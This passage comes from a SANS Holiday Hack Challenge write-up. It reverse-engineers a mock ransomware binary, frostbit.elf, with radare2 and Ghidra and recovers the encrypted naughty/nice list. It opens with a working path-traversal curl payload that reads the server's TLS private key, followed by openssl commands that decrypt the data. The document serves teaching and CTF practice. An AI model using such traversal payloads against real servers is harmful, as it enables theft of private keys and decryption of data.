$ curl 'https://api.frostbit.app/view/%255b%25a7%254e%25c6%2517%2597%25f5%2538%255b%25a7%254e%25c6%2517%2597%25f5%2538..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f.%252f.%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=00000000000000000000000000000000&debug=true'  | grep debugData | head -1 |grep -o '".*"' | tr -d '"'|base64 -d > api.frostbit.app.key

However, the retrieved private key had a modulus which did not match the public key I’d previously retrieved and hence was unable to decrypt the encrypted AES key:

└─$ openssl rsa -in api.frostbit.app.key -text -noout |grep -A5 modulus
modulus:
    00:e6:66:a9:b6:08:5f:99:86:ed:78:fb:ae:d6:d8:
    8c:40:31:a7:6b:74:eb:b7:36:19:33:61:d1:44:04:
    d2:c3:46:cf:54:30:3e:dd:e7:47:96:23:3b:e6:88:
    ed:65:a8:5a:31:de:bf:76:94:66:a5:c0:23:3e:84:
    80:39:08:84:56:f6:bb:d6:2d:f2:07:a9:e1:29:ef:

It turned out the TLS certificate had been rotated since I’d initially generated the artifacts:

└─$ echo "Q" | openssl s_client -connect api.frostbit.app:443 2>/dev/null| sed -n '/BEGIN CERTIFICATE/,/END CERTIFICATE/p' | tee api.frostbit.app-cert.pem | openssl x509  -text -noout | head -21
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            03:22:27:0f:94:02:14:50:f8:e7:78:29:df:fa:48:0c:10:58
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=R10
        Validity
            Not Before: Jan 13 20:13:57 2025 GMT
            Not After : Apr 13 20:13:56 2025 GMT
        Subject: CN=api.frostbit.app
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (4096 bit)
                Modulus:
                    00:e6:66:a9:b6:08:5f:99:86:ed:78:fb:ae:d6:d8:
                    8c:40:31:a7:6b:74:eb:b7:36:19:33:61:d1:44:04:
                    d2:c3:46:cf:54:30:3e:dd:e7:47:96:23:3b:e6:88:
                    ed:65:a8:5a:31:de:bf:76:94:66:a5:c0:23:3e:84:
                    80:39:08:84:56:f6:bb:d6:2d:f2:07:a9:e1:29:ef:
                    02:24:ed:83:eb:67:56:e6:6f:73:70:d5:30:87:cc:

I was reluctant to regenerate the artifacts as the values referenced in this writeup would change, making proof reading more difficult. Thankfully, though, Zysygy on the SANS Holiday Hack Challenge Discord server shared with me a copy of the old private key, the modulus of which matched what I was expecting:

└─$ openssl rsa -in api.frostbit.app.zysygy.key  -text -noout |sed -nEe '/modulus/,/publicExponent/ p'
modulus:
    00:a6:58:39:78:a0:ef:93:d7:fe:82:c5:96:65:4b:
    69:16:bf:34:a2:34:d9:69:b9:b8:46:dc:b4:2e:8a:
    f0:b6:ae:55:25:dd:fb:f0:68:00:9b:0c:48:16:87:
    5d:b9:d3:fe:c4:c3:73:f6:ee:65:44:51:31:a8:35:
    a8:2b:64:f1:29:bc:a2:19:33:8a:57:d2:25:a5:95:
    0b:17:27:d5:f7:ff:e2:f2:fa:b8:7b:0e:c7:f5:3b:
    3b:76:e3:61:e2:07:87:37:2b:1f:5a:a7:6b:55:e6:
    d3:45:9e:80:78:20:1e:27:67:19:b9:53:f8:6e:b8:
    9a:8b:45:c3:ab:62:94:77:fb:1c:ee:48:10:c5:71:
    a0:c3:4b:7f:16:a8:83:82:5a:52:17:53:c5:c4:fb:
    d4:cc:9c:1c:24:d4:21:21:84:02:c5:10:b0:1e:41:
    ea:55:29:d3:a1:97:27:8c:98:e1:81:5c:97:b1:33:
    72:e6:93:8b:05:6a:a0:e6:74:a7:5e:bc:25:f0:97:
    c6:91:41:cd:fd:3c:1b:6f:cd:bd:ac:83:13:e7:9d:
    19:c4:ef:0a:60:7e:2a:fe:45:77:73:05:5c:49:87:
    c4:62:f3:09:26:87:90:14:28:07:8a:e2:f9:12:ec:
    40:51:b3:ba:29:98:13:9d:15:a1:59:09:a8:b5:34:
    1b:f9:f0:a3:f2:c8:a5:8e:0f:1d:21:dc:31:07:af:
    74:2e:f6:58:a6:fb:f8:c8:f2:d8:82:a0:9f:f4:fc:
    f3:82:b6:4f:be:52:7e:5e:42:27:27:7b:3f:f8:33:
    8b:d1:56:c2:81:31:cf:d2:06:e9:3b:b9:1d:8e:24:
    ce:05:2d:49:a7:e1:6d:6c:21:be:ea:89:af:c1:28:
    3f:70:42:cd:9e:c0:c2:b3:a1:75:c7:7d:e2:47:bb:
    6e:99:e4:32:4b:03:4f:58:d1:ad:ea:93:87:9b:21:
    9f:1d:82:f6:47:18:63:e5:2e:67:09:7a:b1:18:2c:
    76:ab:69:87:f2:5e:00:2f:96:db:cd:55:71:10:46:
    be:f8:58:27:77:da:f6:e1:24:82:dd:bb:e5:35:54:
    f4:08:37:c1:76:82:b3:4e:e3:bc:44:e3:41:e1:62:
    8d:91:ba:8d:8f:e3:04:f0:90:c7:50:0d:fd:95:df:
    f2:a8:85:62:1a:38:c0:11:1f:cd:4e:2b:21:93:9c:
    e4:d3:8d:7d:02:24:29:1d:f3:94:9c:23:71:ab:5e:
    cd:64:fe:4a:80:bc:71:ef:1a:d3:68:b7:4f:9b:45:
    fd:68:c3:9c:aa:e2:0f:7a:78:eb:c1:97:c8:56:9c:
    aa:66:85:27:fc:3d:33:8a:7a:0d:22:7a:24:f0:21:
    5d:6c:3f
publicExponent: 65537 (0x10001)

Using this private key, the encrypted AES key was decrypted:

└─$ openssl pkeyutl -decrypt -inkey api.frostbit.app.zysygy.key -in  <(cat encrypted-key.txt  |xxd -p -r)
b0d02b47208fbac506e50fe876c2f8a1,5ba74ec61797f538

naughty_nice_list.csv was then decrypted:

└─$ openssl enc -d -aes-256-cbc -K "$(echo -n b0d02b47208fbac506e50fe876c2f8a1|xxd -p -c0)" -iv "$(head -c16 naughty_nice_list.csv.frostbit|xxd -p)" -in <(tail -c +17 naughty_nice_list.csv.frostbit) -out naughty_nice_list.csv

With the result being plain text:

└─$ head naughty_nice_list.csv
Number,Child Name,Age,Nice-or-Naughty,Description
1,Alice Wonderland,7,Nice,Helped her little brother with his homework and always shares her toys
2,Bobby Badger,8,Naughty,Used his sisters new markers to draw on the living room walls
3,Charlie Chipper,10,Nice,Organized a charity bake sale and donated all the proceeds
4,Daisy Doodles,9,Naughty,Secretly ate all the cookies from the cookie jar and blamed it on the dog
5,Eddie Elf,12,Nice,Volunteered to clean the entire house without being asked
6,Frida Frost,11,Naughty,Lost her homework under the bed and then claimed a dragon ate it
7,George Giggles,6,Nice,Made everyone laugh with his funny jokes and did his chores without complaining
8,Holly Harper,14,Naughty,Refused to go to bed and had a midnight dance party with her stuffed animals
9,Ivan Icecream,13,Nice,Helped his elderly neighbor with her groceries every week

Thus, the name of the 440th child was found:

└─$ head -1 naughty_nice_list.csv && tail -1 naughty_nice_list.csv
Number,Child Name,Age,Nice-or-Naughty,Description
440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies

12 Comparison with real ransomware

Some significant differences between frostbit.elf and real ransomware include:

13 Conclusion

Neither frostbit.elf nor frostbit_core_dump.14 can be exploited in isolation to recover the encrypted data due to the following.

naughty_nice_list.csv is encrypted using AES-256-CBC and the key is a securely generated 32 byte ASCII hex key. Although the key “only” has 16 bytes of entropy, this is presently sufficient to make brute force attacks impractical. Furthermore, the key is not present in the core dump.

The AES-256-CBC encryption key, concatenated with a server generated nonce is then encrypted using the RSA 4096 bit public key of https://api.frostbit.app. The corresponding private key is not exposed to frostbit.elf.

Thus, the only remaining attack vector is to attack the server infrastructure at api.frostbit.app in order to retrieve the RSA private key.

14 Appendix - other observations

14.1 Debug mode

If the environment variable APP_DEBUG=true is set, frostbit.elf accesses http://localhost instead of https://api.frostbit.app and loads the RSA public key from public_key.pem.

The use of localhost can be observed when debugging the URL requested in main.GetNonce:

[0x006a1812]> pd--3
│           0x006a1807      e8f416dbff     call sym.runtime.concatstring4
│           0x006a180c      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a180f      4889c3         mov rbx, rax
│           ;-- rip:
│           0x006a1812 b    488b842490..   mov rax, qword [arg_190h]
│           0x006a181a      e8e1fcf9ff     call sym.net_http._Client_.Get
│           0x006a181f      90             nop
[0x006a1812]> dr rcx
0x00000048

[0x006a1812]> ps 0x48 @ rbx
http://localhost/api/v1/bot/23a4872d-ceba-4340-9f64-4f4c023ebba3/session

main.runit calls main.LoadPublicKeyFromFile to load a public key from public_key.pem but only if local_5a1_skip_public_key_file is not zero:

main.runit loads a public key from public_key.pem if local_5a1_skip_public_key_file is not zero

It’s a bit tricky to track down the path that results in local_5a1_skip_public_key_file being non-zero but the Ghidra decompiler helps here, decompiling the above into a check of the useRemotePubCert variable:

  if (useRemotePubCert == false) {
    ~r1_00.data = in_stack_fffffffffffffa30;
    ~r1_00.tab = in_stack_fffffffffffffa28;
    ~r1_1.data = in_stack_fffffffffffffa40;
    ~r1_1.tab = in_stack_fffffffffffffa38;
    main.LoadPublicKeyFromFile
              ((string)in_stack_fffffffffffffa18,(crypto/rsa.PublicKey *)&dat_str_public_key_dot_pem
               ,(crypto/rsa.PublicKey *)0xe,~r1_00,~r1_1);

In turn, useRemotePubCert is only true if the APP_DEBUG environment variable does not equal 0x65757274, which is eurt in little-endian. It should be noted that variables like extraout_RAX_04 ultimately simply refer to register RAX:

  local_4a0_app_debug_var_value_len = extraout_RBX_02;
  local_348_app_debug_var_value = extraout_RAX_03;
  strings.ToLower((string)in_stack_fffffffffffffa18,~r0_02);
  if ((extraout_RBX_03 != 4) || (*extraout_RAX_04 != 0x65757274)) {
    if (local_4a0_app_debug_var_value_len != 1) {
      local_4d8_len_https_api_frostbit_app = 0x18;
      local_388_str_https_colon_forward_slashes = (net/http.Client *)&dat_str_https_api_frostbit_app
      ;
      useRemotePubCert = true;
      goto LAB_006a24d8;
    }
    if (*local_348_app_debug_var_value != '1') {
      local_4d8_len_https_api_frostbit_app = 0x18;
      local_388_str_https_colon_forward_slashes = (net/http.Client *)&dat_str_https_api_frostbit_app
      ;
      useRemotePubCert = true;
      goto LAB_006a24d8;
    }
  }

Furthermore, local_4a0 and local_348 were renamed to local_4a0_app_debug_var_value_len and local_348_app_debug_var_value due to the following that gets the APP_DEBUG environment variable:

To test the execution, the following environment changes were made:

  1. replayer_http.py was created, which was the same as replayer.py but serves HTTP instead of HTTPS:

    #! /usr/bin/python3
    
    from http.server import *
    import re
    import sys
    
    class ReplayHandler(BaseHTTPRequestHandler):
    
        def do_GET(self):
            if re.match(r"^/api/v1/bot/[-a-z0-9]+/session$", self.path):
                raw_resp = read_raw_response("./session_response.txt")
                self.wfile.write(raw_resp)
                return
            self.send_error(404)
    
        def do_POST(self):
            if re.match(r"^/api/v1/bot/[-a-z0-9]+/key$", self.path):
                raw_resp = read_raw_response("./key_response.txt")
                self.wfile.write(raw_resp)
                return
            self.send_error(404)
    
    def read_raw_response(name):
        with open(name, "r") as raw_response:
            return bytes(raw_response.read(), 'utf-8')
    
    def run(host, port, server_class=HTTPServer, handler_class=ReplayHandler):
        server_address = (host, port)
        httpd = server_class(server_address, handler_class)
        httpd.serve_forever()
    
    host=sys.argv[1]
    port=int(sys.argv[2])
    
    run(host, port)
  2. replayer_http.py was started:

    └─$ python3 replayer_http.py 127.0.0.1 8000
  3. socat was started:

    └─$ sudo socat -v -v tcp-listen:80,reuseaddr,fork  tcp4-connect:api.frostbit.app:8000
  4. An RSA 2048 bit public key was generated in the same directory as frostbit.elf:

    └─$ openssl genrsa -out private_key.pem 2048
    └─$ openssl rsa -in private_key.pem -pubout -out public_key.pem
  5. gdbserver was restarted after exporting APP_DEBUG:

    └─$ export APP_DEBUG=true
    └─$ gdbserver --once 169.254.115.238:9999 frostbit.elf

frostbit.elf was executed via radare2 debugging as before. The following encrypted key was observed in the socat log:

{"encryptedkey":"1e7280426054bc383119c07bfdb4882967eec976df6df1da546f87fec06c409171b08986b93b939919dfd5704baa015acbc7b320e2bbc098c3cce911a448f7dd2230988b7c3d43acbb4d2c69b36d7104af8b035b71e16bab800aa6688e5276d9b66bdb753498105c1981ee51f361ecb44f108d9bbb7ec998075a82272e43271c585bcf9411c91660f751b3fa2e6dd2fa692f5ef5593e8ecc584a74c476e0e9d068f67d637c63a8a039c5f602a64f5494352cee5fae958ca4d856edf341b17574ca4c2678ba23f9214bbe140d76e29d27f32a4fe440dd293d015296d4be963fd2543fd18357231b1185053eb687eff12461863ae9d76b4d3a1c7fb958cf94ae40fc90e767d8b3db87e565e8c78aa97f81a1da836eafd9a76ff5861a582d5df60aa567bfbb794ddbdaca0c6c1ab91fe7b6a7d35d317d4f727235869b9a1f7112aafc8a39e60c59dca121323a9510740dc500bb5f235e368d5913e214b780c1747b6285f071698c5b321cf6a32d3c9af60215f72fb616b65d977d6901e2e58f1975aa994b194faf7191a1abd4fd9b2198015a1bf22882640d269ff5bfe3e429d04456b9a7f5cb8c44c7365c48d65026b11ffa57a2117d52a2cbca25868a18a99d7ec105f57518a06676039740040772dee3e1051f4912f3df36f4235219d5d3186ddd276dd8f85de22a707e4889b6a21bc193e9e0127b313eb34abb0dc85ba2ec34","nonce":"5ba74ec61797f538"}

The encrypted key value was pasted into encrypted-key.txt and decrypted using the private key to confirm the local public_key.pem was used to encrypt it:

└─$ openssl pkeyutl -decrypt -inkey private_key.pem -in <(cat encrypted_key.txt|xxd -r -p)
a55ab0f0e3ed677f1c7708e9001d26b4,5ba74ec61797f538

14.2 keyHex.txt and nonce.txt

Setting an arbitrary environment variable to have the value “NPGENCONT” results in the AES-256-CBC encryption key being written to keyHex.txt and the nonce being written to nonce.txt.

One of the first things main.runit does is to load environment variables:

main.runit loads environment variables

The results of the load can be observed by setting a breakpoint at 0x006a2258 in radare2:

[0x00475d80]> db 0x006a2258

[0x00475d80]> dc
INFO: hit breakpoint at: 0x6a2258

[0x006a2258]> pdb
│           0x006a2232      55             push rbp
│           0x006a2233      4889e5         mov rbp, rsp
│           0x006a2236      4881ece005..   sub rsp, 0x5e0
│           0x006a223d      c644244600     mov byte [var_46h], 0
│           0x006a2242 b    90             nop
│           0x006a2243      e89891dfff     call sym.syscall.Environ
│           0x006a2248      48898424f8..   mov qword [env_vars], rax
│           0x006a2250      48899c24d0..   mov qword [var_d0h], rbx
│           ;-- rip:
│           0x006a2258 b    4889c1         mov rcx, rax
│           0x006a225b      4889da         mov rdx, rbx
│           0x006a225e      6690           nop
│       ┌─< 0x006a2260      eb27           jmp 0x6a2289

RAX, RBX and RCX collectively represent a slice:

  1. RBX is the slice length:

    [0x006a2258]> dr rbx
    0x00000043
  2. RCX is the slice capacity:

    [0x006a2258]> dr rcx
    0x00000043
  3. RAX is a sequence of strings for each environment variable. Each string consists of a pointer to the start of the string, followed by the length of the string. For example, the first environment variable is COLORFGBG=15;0:

    ; rax is a sequence of (string pointer to environment variable, string length)
    [0x006a2258]> x 32 @ rax
    - offset -     8 9  A B  C D  E F 1011 1213 1415 1617  89ABCDEF01234567
    0xc000018908  1040 0100 c000 0000 0e00 0000 0000 0000  .@..............
    0xc000018918  00a0 0100 c000 0000 1300 0000 0000 0000  ................
    
    ; pointer to the first env var
    [0x006a2258]> pf p @ rax
    0xc000018908 = (qword)0x000000c000014010
    
    ; length of the first env var
    [0x006a2258]> pf b @ rax + 8
    0xc000018910 = 0x0e
    
    ; value of the first env var
    [0x006a2258]> ps 0xe @ 0x000000c000014010
    COLORFGBG=15;0

main.runit initializes a for loop index local_490_i to the number of environment variables:

main.runit initializes a for loop index to the number of environment variables

Whilst local_490_i > 0, the current environment variable is split into its name and value:

The current environment variable is split into its name and value

The result of the split can be observed in radare2 with a breakpoint at 0x006a22c5:

[0x006a22c5]> pdb
│           0x006a229a      48898c24c0..   mov qword [var_2c0h], rcx
│           0x006a22a2      488b01         mov rax, qword [rcx]
│           0x006a22a5      488b5908       mov rbx, qword [rcx + 8]
│           0x006a22a9      90             nop
│           0x006a22aa      bf01000000     mov edi, 1                  ; int64_t arg1
│           0x006a22af      31f6           xor esi, esi                ; int64_t arg2
│           0x006a22b1      41b802000000   mov r8d, 2
│           0x006a22b7      488d0d9a79..   lea rcx, [0x007a9c58]       ; "="
│           0x006a22be      6690           nop
│           0x006a22c0      e8bb75e4ff     call sym.strings.genSplit
│           ;-- rip:
│           0x006a22c5 b    4883fb02       cmp rbx, 2                  ; r9
│       ┌─< 0x006a22c9      7404           je 0x6a22cf

; slice length
[0x006a22c5]> dr rbx
0x00000002

; slice capacity
[0x006a22c5]> dr rcx
0x00000002

; slice data
[0x006a22c5]> x 32@rax
- offset -    2021 2223 2425 2627 2829 2A2B 2C2D 2E2F  0123456789ABCDEF
0xc000034120  1040 0100 c000 0000 0900 0000 0000 0000  .@..............
0xc000034130  1a40 0100 c000 0000 0400 0000 0000 0000  .@..............

; env var name
[0x006a22c5]> pf p @ rax
0xc000034120 = (qword)0x000000c000014010
[0x006a22c5]> pf b @ rax +8
0xc000034128 = 0x09
[0x006a22c5]> ps 0x09 @ 0x000000c000014010
COLORFGBG

; env var value
[0x006a22c5]> pf p @ 0xc000034130
0xc000034130 = (qword)0x000000c00001401a
[0x006a22c5]> pf b @ 0xc000034130 + 8
0xc000034138 = 0x04
[0x006a22c5]> ps 0x04 @ 0x000000c00001401a
15;0

The length of the current environment variable value is compared to the length of “NPGENCONT”:

main.runit tests if the length of the current environment variable value equals the length of “NPGENCONT”

If the length is equal, the environment variable value is compared to “NPGENCONT”:

main.runit tests if the value of the found environment variable is “NPGENCONT”

If the length isn’t equal, the next for loop iteration is initialized:

Next loop iteration through environment variables slice

If all environment variables are checked without finding a match, local_490_i will be 0 and the conditional jump at 0x006a2848 below will be taken. Otherwise, the key and nonce will be written to keyHex.txt and nonce.txt respectively:

Key and nonce written to keyHex.txt and nonce.txt, respectively if an environment variable with value “NPGENCONT” was found